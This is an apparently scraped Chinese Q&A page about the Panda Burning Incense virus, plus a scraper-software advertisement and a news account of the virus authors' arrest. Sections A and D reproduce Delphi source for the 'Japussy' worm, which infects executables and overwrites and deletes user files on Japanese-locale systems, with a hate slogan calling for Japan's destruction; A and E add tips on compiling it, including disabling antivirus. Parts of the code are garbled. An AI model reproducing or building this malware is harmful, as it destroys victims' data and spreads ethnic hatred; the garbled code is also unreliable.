熊猫源码网

A. 哪有熊猫烧香的源代码

program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒体的大小
iconoffset = $12eb8; //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
headersize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量

//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + iconsize; //pe文件主图标的尾部
id = $44444444; //感染标记

//垃圾码，以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之间复制 }
procere stream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.from(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }
procere extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳过头部的病毒部分
dstream.from(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo结构 }
procere fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procere sendmail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染pe文件 }
procere infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出错则文件正在被使用，退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //检查pe文件头
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe标记
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //检查感染标记
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染过了或不是pe文件则退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主图标(744字节)，存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//头文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//写入病毒体主图标之前的数据
stream(hdrstream, 0, dststream, 0, iconoffset);
//写入目前程序的主图标
stream(icostream, 22, dststream, iconoffset, iconsize);
//写入病毒体主图标到病毒体尾部之间的数据
stream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//写入宿主程序
stream(srcstream, 0, dststream, headersize, srcstream.size);
//写入已感染的标记
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替换宿主文件
dststream.free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procere smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只读属性
filehandle := fileopen(filename, fmopenwrite); //打开文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //写入垃圾码的随机次数
if max < 5 then
max := 5;
mass := size div max; //每个间隔块的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //关闭文件
end;
deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盘和网络盘
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procere loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目录
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目录
else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可执行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件，将base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if ext = '.wab' then //outlook地址簿文件
begin
//获取outlook邮件地址
end
else if ext = '.adc' then //foxmail地址自动完成文件
begin
//获取foxmail邮件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//获取foxmail邮件地址
end
else
begin
if isjap then //是倭文操作系统
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procere infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
isjap := true; //去死吧！
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
for i := len downto 1 do //遍历每个磁盘驱动器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //发带毒邮件
sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
tmpfile := paramstr(0); //创建临时文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格
extractfile(tmpfile); //分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //创建新进程运行之
infectfiles; //感染和发邮件
end;
end.
把我说的..空格删去,,然后保存到C盘任何路径下..你大概就能得熊猫烧香变种

B. 小说采集用什么采集软件比较好 收费的也可以

建议用熊猫采集，

熊猫采集软件不仅仅操作简单，更重要的是功能强悍、全面，是目前功能最强的采集软件，该有的都有，而熊猫有的，老式采集软件则做不到。熊猫采集软件是复杂采集需求的必选！

换代产品，是目前为止，这个星球上最好的、操作最简单的、功能最强的采集软件。
一、操作简单
对于常规采集任务，简单到只需要输入标题和列表页起始地址即可实现精确采集。——轻松采集，从熊猫开始。

二、功能全面、强大
软件虽然操作简单，却功能强大、全面。可以实现各类复杂采集需求。可应用于各种场合的通用性采集软件

三、不懂技术亦可轻松操作
不需要编写采集规则，不需要关心网页源码，全程鼠标操作。操作界面友好、直观。全程智能辅助。

四、解决复杂采集需求
企业基本资料和企业所有产品、企业所有招聘职位。正文和所有回复等等均可一次性完整采集、完整发布。

五、搜索引擎解析内核
利用智能搜索引擎的解析内核，实现对采集网页的仿浏览器解析。拥有自成体系的多项核心关键技术。

六、强大的自动分析能力
系统可自动分析翻页、分页、页面标题、正文等。可以对搜索引擎的搜索结果实现自动解析。

七、智能化辅助操作
为了方便采集软件使用新手能顺利操作，同时也为了提高采集项目设置的效率，软件已尽最大努力，帮助用户实现一些采集设置的自动设置工作，例如可以自动为用户找到分页(翻页)链接所在，并自动设置好分页(翻页)链接参数；可以分离参考页面的框架内容和核心内容；自动实现分页内容的合并整理；等等。只是一些关键性的设置操作必须要由用户自己来决定。

八、强悍的抗干扰能力
很多网站都针对采集行为作了各种干扰措施，传统的采集工具都是依赖分析网页源码，利用正则表达式技术从网页源码中抽取特殊内容。而熊猫则完全不同，利用的是仿浏览器解析技术，因此这些反采集的干扰措施对熊猫基本无效。

软件特有的功能包括：

1、面向对象采集
一个采集对象的子项内容可以是分散在若干个不同页面内，页面间可以是需要通过多次链接才能到达，数据彼此间可以具有复杂逻辑关系。

2、多模板自动适应
每个被采集的页面都可以定义多个模板。系统会自动判断使用最匹配的模板。如果不能定义多个模板，则很多时候的采集结果很难完整。

3、图文混排内容合并采集
对于文字内容中夹杂的非文字内容(如图片、动画、视频、音乐、文件等)，熊猫会进行合适的处理，使得采集结果可以保留被采集前的原样。

4、精炼的采集结果
熊猫采集软件使用的是仿浏览器解析技术，因此采集结果非常精炼，不会夹杂任何无关网页源码内容。

5、动态Cookie对话
有些网站会借助浏览器cookie的动态对话功能实现对敏感数据的加密操作，此时就需要使用熊猫采集软件的动态Cookie对话功能。

6、泛搜索自动解析
自动分析页面标题、正文。支持对论坛页面的解析。支持对搜索引擎搜索结果的解析。使用原创的自成体系的分析技术，准确率高。

7、支持复杂数据关系
采集结果直接存储到数据库，不需要自行编写复杂的SQL语句，支持多表单联合存储。自动处理数据的更新、覆盖、重复判断等事宜。

8、发布不需要专用接口
不需要修改网站源码来添加专用发布接口，而是直接利用网站已有的手工发布通道进行发布。可多马甲切换发布。

9、多级模拟发布功能
可同时定义多个web模拟发布页面，可以将采集到的具有复杂数据关系的采集结果，一次性完整的发布到网站中。

10、论坛整体搬家
完整拷贝对方网站的帖子及该帖子的所有回复和作者，并发布到自己的论坛中，包括所有用户的注册、发帖、回帖、滚动更新等。

11、招聘信息的完整采集、发布
一次性的采集拷贝招聘企业基本资料以及该企业的所有招聘职位，并一次性的完整发布到自己的网站中。

12、B2B信息的完整采集、发布
一次性的采集拷贝B2B网站内的企业基本资料以及该企业的所有产品、供求内容。并一次性的完整发布到自己的网站中。

13、小说网站的整体搬家。
利用熊猫特有的面向对象采集和多级模拟发布功能。可以将网络上的很多内容实现搬家拷贝，功能超出你的想象。

限于篇幅，不便过于详细的罗列。熊猫采集软件是新一代通用性的采集软件，常见的采集软件的功能都完全包括，例如：多任务、多线程、自动更新、挂机自动运行、分页内容合并、cookie模拟登录、多数据库引擎的支持、FTP上传、文件下载、时间提前、伪原创、模拟发布等等。熊猫采集软件中的“常规版”即相当于老式采集软件的完全版。

如果你用熊猫软件解决不了你的采集需求，最大的可能是因为你尚未精通熊猫的功能和操作。

熊猫采集软件，是网络站长必备的工具软件之一，是复杂采集需求的必选，也是采集新手的首先。

C. 计算机病毒犯罪案例

计算机病毒危害大，有可能会导致犯罪，那么用计算机病毒犯罪的案例有哪些呢?下面是我收集整理的计算机病毒犯罪案例，希望对大家有帮助~~

计算机病毒犯罪案例一

25岁的吕薜文，是广州市人，高中毕业。法院在审理过程中查明，吕薜文于1997年4月加入国内“黑客”组织。去年1月至2月，他盗用他人网络账号以及使用非法账号上网活动，并攻击中国公众多媒体通信网广州主机(即“视聆通”广州主机)。成功入侵后，吕薜文取得了该主机系统的最高权限，并非法开设了两个具有最高权限的账号。此后，他又多次非法入侵该主机，对其部分文件进行删除、修改、增加等一系列非法操作，包括非法开设四个账号作为自己上网之用和送给他人使用、安装并调试网络安全监测软件(未遂)。同时，他为掩盖自己的行为，还将上网的部分记录删除、修改。更为严重的是，吕薜文于去年2月25日和26日，三次修改了该主机系统最高权限的密码，致使密码三次失效，造成主机系统管理失控共计15个小时的严重后果。此外，吕薜文还在去年2月12日对蓝天BBS主机进行攻击，获得该主机最高权限后又为自己非法开设一个最高权限用户账号。

2月1日，专案组通过调查走访，查明武汉男孩与另2人共同租住在武汉市洪山区专案侦查员在武汉佯装购买杀毒软件，钓出了一名出售者

专案民警分析：这名出售者就是武汉男孩后经侦查，武汉男孩叫李俊，男，25岁，武汉市新洲区阳逻镇人，对电脑比较精通

2月2日，民警张良耀刘杰等人对李俊租居屋，实施24小时监控当日下午，专案民警研究实施抓捕行动，制定了抓捕方案和审讯方案

2月3日，专案组通过种种迹象分析，武汉男孩有可能要外逃抓捕行动须提前进行

3日晚8时40分，守候在出租屋内的仙桃网监大队民警，将回到出租屋取东西的李俊抓获，并对出租屋进行了勘验

经突审，李俊交代，熊猫烧香病毒系他所写，病毒源代码在他与雷磊居住的某宾馆房间的硬盘内，并承认有一份源代码给了雷磊(男，25岁，武汉新洲区阳逻镇长山村人，系李俊的同学)

专案民警立即出击，将准备外逃的雷磊抓获，并提取了笔记本电脑硬盘等物品国家计算机病毒应急处理中心对提取的源码进行鉴定，认定为该源码为熊猫烧香病毒源码

为好玩搞钱销售传播病毒

去年9月，李俊在武汉某电脑学校学习软件开发时，就开始制作熊猫烧香病毒10月，李俊毕业后，在武汉洪山区租了一单间房屋，潜心制作熊猫烧香病毒，在写作过程中，不断与雷磊交流写作进度

11月，李俊将熊猫烧香病毒写完，通过QQ群发布出售熊猫烧香病毒的消息，先后在网上以每个病毒5001000元的价格出售约20套

今年1月24日，雷磊找到李俊，告知其网上炒作熊猫烧香很厉害，要其避一避

当日，李俊与雷磊在武汉某宾馆开一房间，一起研究熊猫烧香，由雷磊继续在网上替李俊出售2000只已中毒的肉机

2月4日，仙桃市公安局网监大队对现场再次进行核查后，将李俊雷磊押回仙桃公安部组织协调山东浙江云南广东广西等地网监部门，对涉案人员服务器实施布控扣押

5日晚，仙桃公安局副局叶铁官，在山东威海将王磊抓获经初审，王磊交代，他是传播熊猫烧香病毒最多的一人，日平均进账7000元以上，所得与李俊平分

王磊还交代了另两个传播者，其中一个叫X火在省厅网监总队的支持下，仙桃警方获悉自称X火的就是仙桃人当晚，警方在X火家中将其抓获(此人真名王哲)另一路追逃专班，在浙江温州将嫌疑人叶培新抓获

此时，正在南昌收缴服务器的该网监大队队长万正明，接到指挥部的通知后，驱车赶往浙江丽水，3路追捕专班在浙江丽水会合6日晚，将嫌疑人张顺抓获

经审讯，李俊为熊猫烧香病毒制作者，其他5人为销售传播者，其目的就是好玩搞钱

李俊交代，熊猫烧香病毒是将几种病毒合并在一起，演变成一种新病毒肉鸡来控制电脑，在电脑里制造木马程序，盗窃他人电脑里的QQ号游戏装备等，得手后变卖获利李俊一天最高收入达万元

6名嫌疑人落网时，警方现场共收缴10余万元，其中王磊用赃款还购买了一辆吉普车

D. 谁有熊猫烧香的源代码，给我发一份

转自：http://bbs.54master.com/thread-147112-1-2.html

熊猫烧香 - 核心源码 Delphi版本
--------------------------------------------------------------------------------
仅供研究使用!后果自行负责
代码:--------------------------------------------------------------------------------
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码，以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来，以备使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procere SendMail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用，退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size
{ 将目标文件写入垃圾码后删除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件，将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procere InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧！
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件，多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end

E. 有熊猫烧香源代码,怎么把它变成病毒

网上有的熊猫的源代码 大部分是dephi的，用个dephi的编译软件就 复制进去就可以生成了 不过杀毒软件关掉 现在没有一个杀毒软件不能杀他 而且有的源代码都是最早的那种 没什么用啊 你要干什么